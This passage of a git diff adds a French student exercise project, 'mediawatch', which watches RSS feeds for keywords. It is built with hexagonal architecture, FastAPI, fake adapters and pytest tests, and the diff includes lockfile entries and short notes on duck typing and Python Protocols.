"https://files.pythonhosted.org/packages/7e/3e/a4d578c8216c443e26a1124f8c1e07c0654264ce5651143d3883d85ff140/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:16d45aecb18b8cba1c68eeb17c2bb2d38627ceed04c5b30b882fc9134e01f187", size = 1999672, upload-time = "2026-04-13T09:04:42.798Z" }, + { url = "https://files.pythonhosted.org/packages/cd/c1/9114560468685525a21770138382fd0cb849aaf351ff2c7b97f760d121e0/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5078f6c377b002428e984259ac327ef8902aacae6c14b7de740dd4869a491501", size = 2154533, upload-time = "2026-04-13T09:04:50.868Z" }, +] + +[[package]] +name = "starlette" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/81/69/17425771797c36cded50b7fe44e850315d039f28b15901ab44839e70b593/starlette-1.0.0.tar.gz", hash = "sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149", size = 2655289, upload-time = "2026-03-22T18:29:46.779Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/c9/584bc9651441b4ba60cc4d557d8a547b5aff901af35bda3a4ee30c819b82/starlette-1.0.0-py3-none-any.whl", hash = "sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b", size = 72651, upload-time = "2026-03-22T18:29:45.111Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] diff --git a/Semaine_08/mediawatch/.python-version b/Semaine_08/mediawatch/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_08/mediawatch/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_08/mediawatch/17-04-2026_14-32-21-.png b/Semaine_08/mediawatch/17-04-2026_14-32-21-.png new file mode 100644 index 0000000..c7087a1 Binary files /dev/null and b/Semaine_08/mediawatch/17-04-2026_14-32-21-.png differ diff --git a/Semaine_08/mediawatch/README.md b/Semaine_08/mediawatch/README.md new file mode 100644 index 0000000..3c79744 --- /dev/null +++ b/Semaine_08/mediawatch/README.md @@ -0,0 +1,2 @@ +uv run pytest .\tests\test_run_watch_cycle.py +uvicorn main:app --reload --host localhost --port 8080 \ No newline at end of file diff --git a/Semaine_08/mediawatch/Screenshot_2026-04-17_at_14.12.19.png b/Semaine_08/mediawatch/Screenshot_2026-04-17_at_14.12.19.png new file mode 100644 index 0000000..f5c7e4b Binary files /dev/null and b/Semaine_08/mediawatch/Screenshot_2026-04-17_at_14.12.19.png differ diff --git a/Semaine_08/mediawatch/adapters/__init__.py b/Semaine_08/mediawatch/adapters/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/adapters/inbound/__init__.py b/Semaine_08/mediawatch/adapters/inbound/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/adapters/inbound/watch_controller.py b/Semaine_08/mediawatch/adapters/inbound/watch_controller.py new file mode 100644 index 0000000..41b4634 --- /dev/null +++ b/Semaine_08/mediawatch/adapters/inbound/watch_controller.py @@ -0,0 +1,24 @@ +from fastapi import FastAPI +from application.usecases.run_watch_cycle import RunWatchCycleUsecase + +from adapters.outbound.rss_feed_adapter import RssFeedAdapter +from adapters.outbound.cli_notifier import CliNotifierAdapter +from domain.matcher import MatchingService + +app = FastAPI() + +rss_adapter = RssFeedAdapter("https://www.lemonde.fr/rss/une.xml") +notifier = CliNotifierAdapter() +matcher = MatchingService() +usecase = RunWatchCycleUsecase(rss_adapter, notifier, matcher) + +@app.get("/rss/{keyword}") +def run_watch_by_http(keyword: str): + result = usecase.execute(keywords=[keyword]) + + return { + "status": "success", + "keyword_searched": keyword, + "articles_processed": result.processed, + "alerts_sent": result.alerts_sent + } \ No newline at end of file diff --git a/Semaine_08/mediawatch/adapters/outbound/__init__.py b/Semaine_08/mediawatch/adapters/outbound/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/adapters/outbound/cli_notifier.py b/Semaine_08/mediawatch/adapters/outbound/cli_notifier.py new file mode 100644 index 0000000..da9475a --- /dev/null +++ b/Semaine_08/mediawatch/adapters/outbound/cli_notifier.py @@ -0,0 +1,10 @@ +from domain.entities import Alert +from ports.outbound.notifier_protocol import Notifier + +class CliNotifierAdapter(Notifier): + def send_alert(self, alert: Alert) -> None: + print("-" * 30) + print(f"Mots-clefs : {alert.matched_keywords}") + print(f"Titre : {alert.article.title}") + print(f"Lien : {alert.article.url}") + print("-" * 30) \ No newline at end of file diff --git a/Semaine_08/mediawatch/adapters/outbound/rss_feed_adapter.py b/Semaine_08/mediawatch/adapters/outbound/rss_feed_adapter.py new file mode 100644 index 0000000..a93516f --- /dev/null +++ b/Semaine_08/mediawatch/adapters/outbound/rss_feed_adapter.py @@ -0,0 +1,25 @@ +import feedparser +from datetime import datetime +from time import mktime +from domain.entities import Article + +class RssFeedAdapter(): + def __init__(self, feed_url: str): + self.feed_url = feed_url + + def fetch_articles(self) -> list[Article]: + # On consomme le flux externe + feed = feedparser.parse(self.feed_url) + articles = [] + + for entry in feed.entries: + # On convertit le format spécifique RSS vers notre Entité + published = datetime.fromtimestamp(mktime(entry.published_parsed)) #type: ignore + + articles.append(Article( + title=entry.title, + url=entry.link, + published_at=published, + source=feed.feed.title + )) + return articles \ No newline at end of file diff --git a/Semaine_08/mediawatch/application/__init__.py b/Semaine_08/mediawatch/application/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/application/usecases/__init__.py b/Semaine_08/mediawatch/application/usecases/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/application/usecases/run_watch_cycle.py b/Semaine_08/mediawatch/application/usecases/run_watch_cycle.py new file mode 100644 index 0000000..51ff96c --- /dev/null +++ b/Semaine_08/mediawatch/application/usecases/run_watch_cycle.py @@ -0,0 +1,41 @@ +from dataclasses import dataclass + +from domain.matcher import MatchingService +from domain.entities import Alert +from ports.outbound.article_source_protocol import ArticleSource +from ports.outbound.notifier_protocol import Notifier + +@dataclass +class WatchCycleResult: + processed: int + alerts_sent: int + +class RunWatchCycleUsecase: + def __init__( + self, + source: ArticleSource, + notifier: Notifier, + matcher: MatchingService + ): + self.source = source + self.notifier = notifier + self.matcher = matcher + + def execute(self, keywords: list[str]): + articles = self.source.fetch_articles() + alerts_sent = 0 + + for article in articles: + matched = self.matcher.find_match(article, keywords) + if matched: + alert = Alert( + article= article, + matched_keywords=matched + ) + self.notifier.send_alert(alert) + alerts_sent += 1 + + return WatchCycleResult( + processed=len(articles), + alerts_sent=alerts_sent + ) \ No newline at end of file diff --git a/Semaine_08/mediawatch/domain/__init__.py b/Semaine_08/mediawatch/domain/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/domain/entities.py b/Semaine_08/mediawatch/domain/entities.py new file mode 100644 index 0000000..9b6944b --- /dev/null +++ b/Semaine_08/mediawatch/domain/entities.py @@ -0,0 +1,14 @@ +from dataclasses import dataclass +from datetime import datetime + +@dataclass +class Article: + title: str + url: str + published_at: datetime + source: str + +@dataclass +class Alert: + article: Article + matched_keywords: list[str] \ No newline at end of file diff --git a/Semaine_08/mediawatch/domain/matcher.py b/Semaine_08/mediawatch/domain/matcher.py new file mode 100644 index 0000000..df360f1 --- /dev/null +++ b/Semaine_08/mediawatch/domain/matcher.py @@ -0,0 +1,6 @@ +from domain.entities import Article + +class MatchingService: + def find_match(self, article: Article, keywords: list[str]) -> list[str]: + title_lower = article.title.lower() + return [kw for kw in keywords if kw.lower() in title_lower] \ No newline at end of file diff --git a/Semaine_08/mediawatch/main.py b/Semaine_08/mediawatch/main.py new file mode 100644 index 0000000..d9f95b1 --- /dev/null +++ b/Semaine_08/mediawatch/main.py @@ -0,0 +1 @@ +from adapters.inbound.watch_controller import app \ No newline at end of file diff --git a/Semaine_08/mediawatch/ports/__init__.py b/Semaine_08/mediawatch/ports/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/ports/inbound/__init__.py b/Semaine_08/mediawatch/ports/inbound/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/ports/inbound/usecase_protocol.py b/Semaine_08/mediawatch/ports/inbound/usecase_protocol.py new file mode 100644 index 0000000..3a838f8 --- /dev/null +++ b/Semaine_08/mediawatch/ports/inbound/usecase_protocol.py @@ -0,0 +1,5 @@ +from typing import Any, Protocol + +class Usecase(Protocol): + def execute(self, *args, **kwargs) -> Any: + ... \ No newline at end of file diff --git a/Semaine_08/mediawatch/ports/outbound/__init__.py b/Semaine_08/mediawatch/ports/outbound/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/ports/outbound/article_source_protocol.py b/Semaine_08/mediawatch/ports/outbound/article_source_protocol.py new file mode 100644 index 0000000..fae0404 --- /dev/null +++ b/Semaine_08/mediawatch/ports/outbound/article_source_protocol.py @@ -0,0 +1,7 @@ +from typing import Protocol + +from domain.entities import Article + +class ArticleSource(Protocol): + def fetch_articles(self) -> list[Article]: + ... \ No newline at end of file diff --git a/Semaine_08/mediawatch/ports/outbound/notifier_protocol.py b/Semaine_08/mediawatch/ports/outbound/notifier_protocol.py new file mode 100644 index 0000000..214ddbf --- /dev/null +++ b/Semaine_08/mediawatch/ports/outbound/notifier_protocol.py @@ -0,0 +1,7 @@ +from typing import Protocol + +from domain.entities import Alert + +class Notifier(Protocol): + def send_alert(self, alert: Alert) -> None: + ... \ No newline at end of file diff --git a/Semaine_08/mediawatch/pyproject.toml b/Semaine_08/mediawatch/pyproject.toml new file mode 100644 index 0000000..aee2089 --- /dev/null +++ b/Semaine_08/mediawatch/pyproject.toml @@ -0,0 +1,16 @@ +[project] +name = "mediawatch" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "fastapi>=0.136.0", + "feedparser>=6.0.12", + "pytest>=9.0.3", + "python-dotenv>=1.2.2", + "requests>=2.33.1", + "uvicorn>=0.44.0", +] +[tool.pytest.ini_options] +pythonpath = ["."] diff --git a/Semaine_08/mediawatch/requests.http b/Semaine_08/mediawatch/requests.http new file mode 100644 index 0000000..b81311f --- /dev/null +++ b/Semaine_08/mediawatch/requests.http @@ -0,0 +1,14 @@ +### Get RRS Python +GET http://localhost:8080/rss/python + +### Get RRS Space + +GET http://localhost:8080/rss/space + +### Get RRS Iran + +GET http://localhost:8080/rss/iran + +### Get RRS Macron + +GET http://localhost:8080/rss/macron \ No newline at end of file diff --git a/Semaine_08/mediawatch/test_1.py b/Semaine_08/mediawatch/test_1.py new file mode 100644 index 0000000..b012e8a --- /dev/null +++ b/Semaine_08/mediawatch/test_1.py @@ -0,0 +1,24 @@ +import feedparser, requests + +# L'architecture vient couper le couplage FORT + +RSS_URL = "https://www.nasa.gov/rss/dyn/breaking_news.rss" +SLACK_WEBHOOK = "https://hooks.slack.com/services/your/webhook/url" +KEYWORDS = ["NASA", "space", "launch"] + +def run(): + feed = feedparser.parse(RSS_URL) + for entry in feed.entries: + title = entry.title.lower() + matched_keywords = [kw for kw in KEYWORDS if kw.lower() in title] + if matched_keywords: + message = ( + f"**New NASA news**: {entry.title}\n" + f"Link: {entry.link}" + ) + + requests.post(SLACK_WEBHOOK, json={"text": message}) + print(f"Posted to Slack: {entry.title}") + +if __name__ == "__main__": + run() \ No newline at end of file diff --git a/Semaine_08/mediawatch/test_2.py b/Semaine_08/mediawatch/test_2.py new file mode 100644 index 0000000..062b8ea --- /dev/null +++ b/Semaine_08/mediawatch/test_2.py @@ -0,0 +1,28 @@ +""" +Le « duck typing » est un style de programmation qui met l'accent sur le comportement d'un objet plutôt que sur son type spécifique. Ce nom tire son origine de l'expression « Si ça ressemble à un canard et que ça cancane comme un canard, alors c'est un canard ». Dans le « duck typing », l'adéquation d'un objet à un contexte particulier est déterminée par la présence de certaines méthodes et propriétés, plutôt que par le type réel de l'objet. +""" + +from abc import ABC, abstractmethod + +def send_alert(notifier, message): + return notifier.send(message) + +""" +Les classes de base abstraites (ABC) constituent un moyen de définir des interfaces en Python. Elles permettent de créer un modèle pour les classes qui doivent implémenter certaines méthodes. Cependant, l'utilisation des ABC peut entraîner un couplage étroit entre l'interface et l'implémentation, ce qui va à l'encontre des principes du duck typing. Dans le duck typing, on s'intéresse avant tout à la capacité d'un objet à effectuer une action donnée (comme envoyer un message), plutôt qu'à savoir s'il s'agit d'une instance d'une classe spécifique ou s'il implémente une interface spécifique. +""" + +class Notifier(ABC): + @abstractmethod + def send(self, message: str) -> str: + ... + +""" +Les méthodes abstraites sont des méthodes déclarées dans une classe de base abstraite mais qui ne disposent pas d'implémentation. Elles servent de contrat que les sous-classes doivent respecter. Cependant, le recours aux méthodes abstraites peut entraîner un couplage étroit entre l'interface et l'implémentation, ce qui va à l'encontre des principes du duck typing. Dans le duck typing, ce qui importe, c'est de savoir si un objet est capable d'effectuer une action donnée (comme envoyer un message), plutôt que de savoir s'il s'agit d'une instance d'une classe spécifique ou s'il implémente une interface spécifique. +""" + +class SlackNotifier(Notifier): + def send(self, message: str) -> str: + return f"Sent to Slack: {message}" + +slack_notifier = SlackNotifier() +print(send_alert(slack_notifier, "This is a test alert!")) \ No newline at end of file diff --git a/Semaine_08/mediawatch/test_3.py b/Semaine_08/mediawatch/test_3.py new file mode 100644 index 0000000..5cb0a49 --- /dev/null +++ b/Semaine_08/mediawatch/test_3.py @@ -0,0 +1,22 @@ +from typing import Protocol + +class Notifier(Protocol): + def send(self, message: str) -> str: + ... + +class SlackNotifier: + def send(self, message: str) -> str: + return f"Sent to Slack: {message}" + +class EmailNotifier: + def send(self, message: str) -> str: + return f"Sent via Email: {message}" + +def send_alert(notifier: Notifier, message: str) -> str: + return notifier.send(message) + +slack_notifier = SlackNotifier() +email_notifier = EmailNotifier() + +print(send_alert(slack_notifier, "This is a test alert for Slack!")) +print(send_alert(email_notifier, "This is a test alert for Email!")) \ No newline at end of file diff --git a/Semaine_08/mediawatch/tests/__init__.py b/Semaine_08/mediawatch/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/mediawatch/tests/fake_article_source.py b/Semaine_08/mediawatch/tests/fake_article_source.py new file mode 100644 index 0000000..4c1ba33 --- /dev/null +++ b/Semaine_08/mediawatch/tests/fake_article_source.py @@ -0,0 +1,8 @@ +from domain.entities import Article + +class FakeArticleSource: + def __init__(self, articles: list[Article]): + self.articles = articles + + def fetch_articles(self) -> list[Article]: + return self.articles \ No newline at end of file diff --git a/Semaine_08/mediawatch/tests/fake_notifier.py b/Semaine_08/mediawatch/tests/fake_notifier.py new file mode 100644 index 0000000..652ee96 --- /dev/null +++ b/Semaine_08/mediawatch/tests/fake_notifier.py @@ -0,0 +1,8 @@ +from domain.entities import Alert + +class FakeNotifier: + def __init__(self): + self.alerts_sent: list[Alert] = [] + + def send_alert(self, alert: Alert): + self.alerts_sent.append(alert) \ No newline at end of file diff --git a/Semaine_08/mediawatch/tests/test_run_watch_cycle.py b/Semaine_08/mediawatch/tests/test_run_watch_cycle.py new file mode 100644 index 0000000..031d016 --- /dev/null +++ b/Semaine_08/mediawatch/tests/test_run_watch_cycle.py @@ -0,0 +1,73 @@ +from datetime import datetime + +from application.usecases.run_watch_cycle import RunWatchCycleUsecase + +from domain.entities import Article +from domain.matcher import MatchingService + +from tests.fake_article_source import FakeArticleSource +from tests.fake_notifier import FakeNotifier + +# Les Fixtures sont des objets ou des fonctions qui fournissent un contexte pour les tests. + +def make_article(title: str) -> Article: + return Article( + title=title, + url="http://example.com/article", + published_at= datetime(2024, 6, 1, 12, 0, 0), + source="Example News" + ) + +def make_usecase(articles: list[Article]) -> tuple[RunWatchCycleUsecase, FakeNotifier]: + source = FakeArticleSource(articles) + notifier = FakeNotifier() + service = MatchingService() + + usecase = RunWatchCycleUsecase( + source=source, + notifier=notifier, + matcher=service + ) + return usecase, notifier + +def test_article_matching_keyword_triggers_alert(): + usecase, notifier = make_usecase([ + make_article("Breaking: New Python Version Released") + ]) + result = usecase.execute(keywords=["python"]) + + assert result.alerts_sent == 1 + assert result.processed == 1 + assert "python" in notifier.alerts_sent[0].matched_keywords + +def test_article_without_keyword_triggers_no_alert(): + usecase, notifier = make_usecase([ + make_article("Sports Update: Local Team Wins Championship") + ]) + result = usecase.execute(keywords=["Python"]) + + assert result.alerts_sent == 0 + assert result.processed == 1 + assert len(notifier.alerts_sent) == 0 + +def test_matching_is_case_insensitive(): + usecase, _ = make_usecase([ + make_article("Breaking: New PYTHON Version Released") + ]) + result = usecase.execute(keywords=["python"]) + + assert result.alerts_sent == 1 + +def test_only_matching_articles_trigger_alerts(): + articles = [ + make_article("Python 3.13 : les nouveautés"), + make_article("Recette de brioche au beurre"), + make_article("Architecture hexagonale en Python"), + make_article("Les chats dorment 16h par jour"), + ] + use_case, notifier = make_usecase(articles) + + result = use_case.execute(keywords=["python"]) + + assert result.processed == 4 + assert result.alerts_sent == 2 \ No newline at end of file diff --git a/Semaine_08/mediawatch/uv.lock b/Semaine_08/mediawatch/uv.lock new file mode 100644 index 0000000..0a43151 --- /dev/null +++ b/Semaine_08/mediawatch/uv.lock @@ -0,0 +1,434 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "annotated-doc" +version = "0.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.13.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, +] + +[[package]] +name = "certifi" +version = "2026.2.25" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/af/2d/7bf41579a8986e348fa033a31cdd0e4121114f6bce2457e8876010b092dd/certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7", size = 155029, upload-time = "2026-02-25T02:54:17.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/3c/c17fb3ca2d9c3acff52e30b309f538586f9f5b9c9cf454f3845fc9af4881/certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa", size = 153684, upload-time = "2026-02-25T02:54:15.766Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" }, + { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" }, + { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" }, + { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" }, + { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" }, + { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" }, + { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" }, + { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" }, + { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" }, + { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" }, + { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" }, + { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" }, + { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" }, + { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, 